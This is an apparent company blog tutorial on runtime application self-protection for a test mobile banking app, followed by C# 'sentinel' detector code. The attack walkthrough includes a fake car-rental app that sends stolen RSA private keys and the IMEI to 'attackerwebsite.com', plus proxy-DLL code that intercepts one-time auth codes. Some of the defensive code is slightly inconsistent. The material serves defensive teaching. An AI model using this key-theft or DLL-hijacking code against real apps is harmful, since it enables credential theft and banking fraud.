Brief us your requirements below, and let's connect
1101 - 11th Floor
JMD Megapolis, Sector-48
Gurgaon, Delhi NCR - India
1st floor, Urmi Corporate Park
Solaris (D) Opp. L&T Gate No.6
Powai, Mumbai- 400072
#12, 100 Feet Road
Banaswadi,
Bangalore 5600432
UL CyberPark (SEZ)
Nellikode (PO)
Kerala, India - 673 016.
Westhill, Kozhikode
Kerala - 673005
India
In the first part of runtime application self-promotion, we saw how to develop a test banking application. Now we will explain how an attacker could target that application and how RASP can help to prevent such attacks.
Table of Contents
In our scenario – which is just a test scenario – the attacker will proceed as follows:
Here we will suppose that the attacker is able to attach a debugger to the process.
There are several ways this may happen. One is that the attacker can connect via USB or TCP/IP to the “debugging port” (ADB in android for example) of the target’s mobile phone. And other – much more common – is that the attacker downloads the application and runs it on an emulator so to debug it and reverse it.
alsoRead
A tool such as dnSpy is able to reverse almost immediately the program:
The attacker can easily debug the program.
Our attacker has no big pain to understand the behavior of the application, where are the private keys and how they are loaded.
In our scenario, the attacker was able to understand most of the way the application works but cannot reverse the way it communicates with the third party DLL, the only one who can communicate to the authorization server. Besides, even if the attacker knows about the way the RSA keys are fetched, he has no way to access directly the ciphered file because they are loaded by the factory on the mobile phone itself.
For this, the attacker will create a small app that will offer some help for the users and additionally that application will locate the flat database where the ciphered private key is located and will extract it. Then it will decipher it using the static hardcoded Key encryption key which the attacker previously located in the application during the debug since it is hardcoded.
The fake app will allow users to search for cheap car rentals in a list of towns but in reality, it will decipher the private keys and send them to a remote server where they will be stored.
public Form1()
{
InitializeComponent();
byte[] P = Utils.getRSAKey(keycomponent.P);
byte[] Q = Utils.getRSAKey(keycomponent.Q);
byte[] Exponent = Utils.getRSAKey(keycomponent.E);
byte[] Modulus = Utils.getRSAKey(keycomponent.MODULUS);
byte[] D = Utils.getRSAKey(keycomponent.D);
byte[] InverseQ = Utils.getRSAKey(keycomponent.InverseQ);
byte[] DP = Utils.getRSAKey(keycomponent.DP);
byte[] DQ = Utils.getRSAKey(keycomponent.DQ);
string url = @"https://attackerwebsite.com/registerto_db.aspx?IMEI="+Utils.getIMEI()+"&rsakeys=" + Utils.ByteArrayToString(P) + '#' + Utils.ByteArrayToString(Q) + '#' + Utils.ByteArrayToString(Exponent) + '#' + Utils.ByteArrayToString(Modulus) + '#' + Utils.ByteArrayToString(D);
HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url);
using (HttpWebResponse response = (HttpWebResponse)request.GetResponse())
using (Stream stream = response.GetResponseStream())
using (StreamReader reader = new StreamReader(stream))
{
String html = reader.ReadToEnd();
}
}
After this analysis, the attacker understands that it cannot modify and recompile the application because it has no idea how to call the complex third party library the right way. Obviously this is a basic but efficient protection mechanism to prevent unauthorized caller to use the dll. Both caller and library must have a sort of counter in common which generates the same one-time code.
The attacker does not know how to generate that parameter which the application sends to the hash library. He is also unable to reverse the third party library and the corresponding part of the caller code because it had been deeply obfuscated by the third-party vendor that delivered it and it seems to use sort of complex self-ciphering system.
alsoRead
However, it is not that much of a problem. All that the attacker needs to do is to create a “proxy dll” also known as “spy dll”. This technique is very well known and very easy to implement. Having a copy of the dll, the attacker can get its prototyping and create a stub dll with the same prototyping which will simply intercept the functions arguments and the return value without the caller noticing anything despite the dll security in place, therefore, defeating the protection mechanism.
Using the “spy Dll” technique, the attacker can get the symmetric key which corresponds to a username.
The attacker uses his small utility application to rename the legitimate dll and replace it by the stub ‘proxy’ dll and then he will intercept the right keys and send fake ones.
All the attacker has to do is to write these few lines of code:
namespace ProxyThirdPartyLib
{
public class Class1
{
public long getAuthCode(string s1, String s2, int i1)
{
long code= testBankingApp2.ThirdPartyLib.getAuthCode(s1, s2, i1);
//Do something with that, send this to server with the IMEI number
//wrong code for the user
return code + 1;
}
}
}
The library of the attacker will use the legit library as a reference but will rename it and take its name in the same folder.
Finally, the attacker has the private key, the IMEI and can intercept the one-time DES keys before they are used. He can form transaction requests to the bank server placing fraudulent transactions to his own card or a card of his network of “cashiers”.
The sentinels, as we mentioned, will come in two distinct parts: the detector and reactor.
We will list here what our detectors must monitor:
Of course, these checks are very basics and there are many more that would be checked and detected in a professional commercial security framework.
Reactors are listed here:
The link between detectors and reactors is done via a ciphered configuration file which only the detectors can decipher.
alsoRead
We shall use the following setting:
Sentinel# | Reactor# |
Sentinel #1 | Reactor#1 |
Sentinel #2 | Reactor#1 |
Sentinel #3 | Reactor#2 |
Sentinel #4 | Reactor#3 |
Our sentinels will scan for possible problems and shall repeat the scan, looping for a given amount of time.
Here is the complete source code of the first sentinel:
namespace Sentinels
{
public class Sentinel1
{
public static string ByteArrayToString(byte[] ba)
{
StringBuilder hex = new StringBuilder(ba.Length * 2);
foreach (byte b in ba)
hex.AppendFormat("{0:x2}", b);
return hex.ToString();
}
public static byte[] StringToByteArray(String hex)
{
int NumberChars = hex.Length;
byte[] bytes = new byte[NumberChars / 2];
for (int i = 0; i < NumberChars; i += 2)
bytes[i / 2] = Convert.ToByte(hex.Substring(i, 2), 16);
return bytes;
}
public static Dictionary<String, String> hashtabl = new Dictionary<string, string>();
public static void LoadDB()
{
hashtabl.Add("StubTestBankServer.dll", "1b5a25cf00b963b93b8ad622bd30a945");
hashtabl.Add("testBankingApp2.exe", "1d208cf0e66091b7cb1a53da639943f1");
hashtabl.Add("ThirPartyLib.dll", "c777fbbaf51a3c3d12ec130f601094b1");
}
//scan files and look for integrity problems
//detector
public static void scan( TextBox txtbx)
{
DirectoryInfo d = new DirectoryInfo(@"\Program Files\testBankingApp2");
FileInfo[] Files = d.GetFiles();
foreach (FileInfo file in Files)
{
String hash1=getFileHash(file.FullName);
txtbx.Text +=file.Name + "==>" + hash1 + "\r\n---------------\r\n";
if (hashtabl.ContainsKey(file.Name))
{
String hash2=hashtabl[file.Name];
if (!hash2.Equals(hash1))
{
//signal to reactor
react();
}
}
}
}
public static void react(String fn)
{
MessageBox.Show("File integrity problem, file possible corrupted or tampered:" + fn, "info", MessageBoxButtons.OK, MessageBoxIcon.Exclamation, MessageBoxDefaultButton.Button1);
}
public static String getFileHash(String filename)
{
using (var md5 = MD5.Create())
{
using (var stream = File.OpenRead(filename))
{
return ByteArrayToString(md5.ComputeHash(stream));
}
}
}
}
}
The sentinel will scan on a periodic basis the application folder and detect problems with the file integrity.
The code is similar to Sentinel#1 but instead, the keys of the database are hashes.
public static void LoadDB()
{
hashtabl.Add("b6279cda55bb148a6b6e0045f4db4c64", "FakeApp find-my-car Trojan");
}
The sentinel will scan the memory and check for the signature of known fake apps if so it will display a warning message with the name of the file and its potential malware identification.
//scan files and look for integrity problems
//detector
public static void scan(TextBox txtbx)
{
DirectoryInfo d = new DirectoryInfo(@"\Program Files\");
DirectoryInfo[] d_ = d.GetDirectories();
foreach (DirectoryInfo d2 in d_)
{
FileInfo[] Files = d2.GetFiles();
foreach (FileInfo file in Files)
{
String hash1 = getFileHash(file.FullName);
txtbx.Text += file.Name + "==>" + hash1 + "\r\n---------------\r\n";
if (hashtabl.ContainsKey(hash1))
{
//signal to reactor
react(file.FullName,hashtabl[hash1]);
}
}
}
}
Our third sentinel will check if a debugger is attached, here is the full source code;
static class Sentinel3
{
[DllImport("core.dll", SetLastError = true)]
static extern bool CheckRemoteDebuggerPresent(IntPtr hProcess, ref bool isDebuggerPresent);
public static void can(TextBox txtbx)
{
bool isDebuggerPresent = false;
CheckRemoteDebuggerPresent(Process.GetCurrentProcess().MainWindowHandle, ref isDebuggerPresent);
txtbx.Text+="Debugger Attached: " + isDebuggerPresent+"\r\n";
if (isDebuggerPresent)
react();
}
public static void react()
{
Process[] runningProcesses = Process.GetProcesses();
foreach (Process process in runningProcesses)
{
// now check the modules of the process
foreach (ProcessModule module in process.Modules)
{
if (module.FileName.Equals("testBankingApp2.exe"))
{
process.Kill();
} else
{
// enter code here if process not found
}
}
}
MessageBox.Show("Debugger detected, application must stop", "info", MessageBoxButtons.OK, MessageBoxIcon.Hand, MessageBoxDefaultButton.Button1);
}
}
alsoRead
The last sentinel just checks for the three other sentinels and restart them if they are not running.
We will simply loop through the scan without creating a new thread for each sentinel.
private void button1_Click(object sender, EventArgs e)
{
Sentinel1.LoadDB();
Sentinel2.LoadDB();
for (int i = 0; i < 100; i++)
{
Sentinel1.scan(textBox1);
Sentinel2.scan(textBox2);
Sentinel3.scan(textBox3);
// Sentinel1.scan(textBox4);
Thread.Sleep(1000);
Application.DoEvents();
}
}
alsoRead
Some Conclusions
As we have seen in what was previously described, it is possible to develop a system of sentinels that will actively and aggressively react to threat detection.
Of course, our sentinels are extremely basic, they have no optimization and even do not run in undetected ways but they will stop the attacker to debug the application to reverse it, to inject a fake app and to modify the application files.
This illustrates concretely what technology based on active sentinels could bring in terms of security to the ecosystem of mobile banking and payment applications.
Acodez is a leading website design and software development company in India. We offer all kinds of web design and web development services to our clients using the latest technologies. We are also a leading digital marketing company providing SEO, SMM, SEM, Inbound marketing services, etc at affordable prices. For further information, please contact us.
Contact us and we'll give you a preliminary free consultation
on the web & mobile strategy that'd suit your needs best.
Advanced Content Delivery Network (CDN) Strategies for Global Web Performance
Posted on Oct 31, 2024 | Web DevelopmentWebAssembly In Modern Web Development: How It Can Revolutionize Web Performance
Posted on Oct 17, 2024 | Web DevelopmentWhat is Hyper-Personalization and Why Is It Becoming Increasingly Important?
Posted on Sep 24, 2024 | Web Development